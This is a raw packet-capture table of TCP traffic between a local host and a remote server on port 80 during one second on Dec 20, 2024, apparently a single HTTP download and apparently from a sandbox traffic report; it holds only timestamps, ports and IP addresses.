Dec 20, 2024 22:52:31.073378086 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.073390961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.073426008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.073724031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.073760986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.073787928 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.073796034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.073812008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.073851109 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.074229956 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.074265003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.074290991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.074301004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.074312925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.074337959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.074362040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.074383974 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.081614971 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.081697941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.193025112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.193150997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.265558004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.265614033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.265624046 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.265664101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.269546032 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.269625902 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.269675970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.269722939 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.277724028 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.277781010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.277873039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.277925014 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.285887003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.285942078 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.286083937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.286144972 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.294092894 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.294158936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.294174910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.294229031 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.302217007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.302254915 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.302277088 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.302300930 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.310313940 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.310376883 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.310439110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.310496092 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.318449020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.318504095 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.318568945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.318623066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.326601982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.326667070 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.326725960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.326778889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.334717035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.334798098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.334851027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.334902048 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.342356920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.342423916 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.342451096 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.342499971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.349977970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.350039005 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.385193110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.385246038 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.385255098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.385293007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.457549095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.457624912 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.457680941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.457735062 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.459980965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.460050106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.460109949 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.460174084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.464956045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.465034008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.465111017 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.465162992 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.469990015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.470046043 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.470046997 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.470096111 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.474899054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.474961996 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.475053072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.475112915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.479635000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.479697943 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.479764938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.479818106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.484415054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.484468937 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.484520912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.484581947 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.489193916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.489252090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.489346027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.489403009 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.493935108 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.494005919 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.494081974 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.494134903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.498655081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.498718977 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.498781919 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.498837948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.503484011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.503539085 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.503576994 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.503627062 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.508169889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.508227110 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.508270979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.508320093 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.512990952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.513067961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.513081074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.513133049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.517786026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.517846107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.517884970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.517936945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.521162033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.521231890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.521281958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.521333933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.524934053 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.524971008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.524995089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.525013924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.528137922 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.528202057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.528261900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.528311968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.531622887 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.531685114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.531744957 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.531791925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.535180092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.535237074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.535240889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.535284042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.538671970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.538789034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.538847923 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.538886070 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.542098045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.542165995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.542211056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.542265892 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.545636892 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.545694113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.545711994 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.545744896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.577313900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.577390909 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.577450037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.577501059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.579200983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.579253912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.579268932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.579303980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.650319099 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.650371075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.650715113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.651331902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.651407003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.651417971 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.651474953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.654104948 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.654167891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.654231071 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.654289007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.657107115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.657179117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.657258034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.657318115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.659997940 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.660060883 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.660108089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.660168886 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.662853956 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.662916899 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.662978888 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.663038015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.665613890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.665669918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.665760040 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.665819883 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.668298960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.668359041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.668483973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.668545961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.671004057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.671070099 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.671103954 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.671161890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.673551083 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.673614025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.673638105 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.673695087 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.676060915 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.676120043 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.676187992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.676239014 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.678643942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.678699970 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.678760052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.678818941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.681158066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.681217909 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.681251049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.681305885 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.683731079 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.683784008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.683795929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.683835030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.686228991 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.686290979 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.686347961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.686402082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.688807011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.688864946 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.688997984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.689059019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.691411972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.691468000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.691504002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.691560984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.693929911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.693993092 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.694031954 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.694081068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.696443081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.696505070 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.696569920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.696628094 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.699002028 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.699065924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.699126005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.699178934 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.701616049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.701679945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.701782942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.701843023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.704204082 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.704271078 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.704289913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.704346895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.705974102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.706041098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.706100941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.706161976 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.707871914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.707926035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.707988024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.708046913 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.709695101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.709752083 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.709784031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.709831953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.711528063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.711589098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.711679935 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.711738110 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.713367939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.713428974 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.713469982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.713526011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.715286970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.715348005 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.715540886 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.715595007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.717394114 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.717452049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.717863083 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.717921019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.718945026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.719002962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.719044924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.719100952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.720817089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.720885992 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.720947981 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.721009016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.722624063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.722683907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.722734928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.722789049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.724488974 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.724539995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.724602938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.724662066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.726356030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.726411104 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.726475000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.726531982 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.728247881 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.728307962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.728347063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.728400946 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.730027914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.730088949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.730149031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.730205059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.731957912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.732036114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.732062101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.732112885 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.733716011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.733782053 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.733844042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.733907938 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.735609055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.735670090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.735753059 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.735810041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.737484932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.737546921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.737756968 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.737813950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.739417076 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.739480019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.739589930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.739645958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.741125107 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.741159916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.741184950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.741208076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.842489958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.842586994 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.842603922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.842636108 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.843403101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.843441010 CET	80	49786	185.219.81.132	192.168.2.6
